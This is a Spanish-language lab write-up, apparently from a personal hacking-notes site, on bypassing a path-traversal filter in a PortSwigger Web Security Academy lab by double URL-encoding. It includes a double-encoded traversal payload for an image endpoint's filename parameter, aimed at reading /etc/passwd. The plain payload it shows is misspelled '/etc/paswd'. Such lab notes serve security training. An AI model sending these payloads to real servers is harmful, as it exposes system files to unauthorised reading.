> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/path-traversal/bypass-by-double-url-decoding.md). # Evasión mediante doble decodificación de URL Notas de Evasión mediante doble decodificación de URL para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación. ### Recorrido de rutas de archivo, secuencias de recorrido eliminadas con URL-decode superfluo Este laboratorio presenta una vulnerabilidad de recorrido de rutas al mostrar las imágenes generadas. / La aplicación bloquea las secuencias de recorrido en el nombre de archivo proporcionado por el usuario, y luego aplica una decodificación URL adicional antes de usar este valor. El objetivo es leer el contenido de `/etc/passwd` . La siguiente carga estándar no funciona: ```bash ../../../../../etc/paswd ``` Para evitar este filtro, una técnica consiste en **codificar la URL dos veces** y enviarlo en el `filename` parámetro del `/image` endpoint: {% code overflow="wrap" %} ```bash /image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34 ``` {% endcode %}
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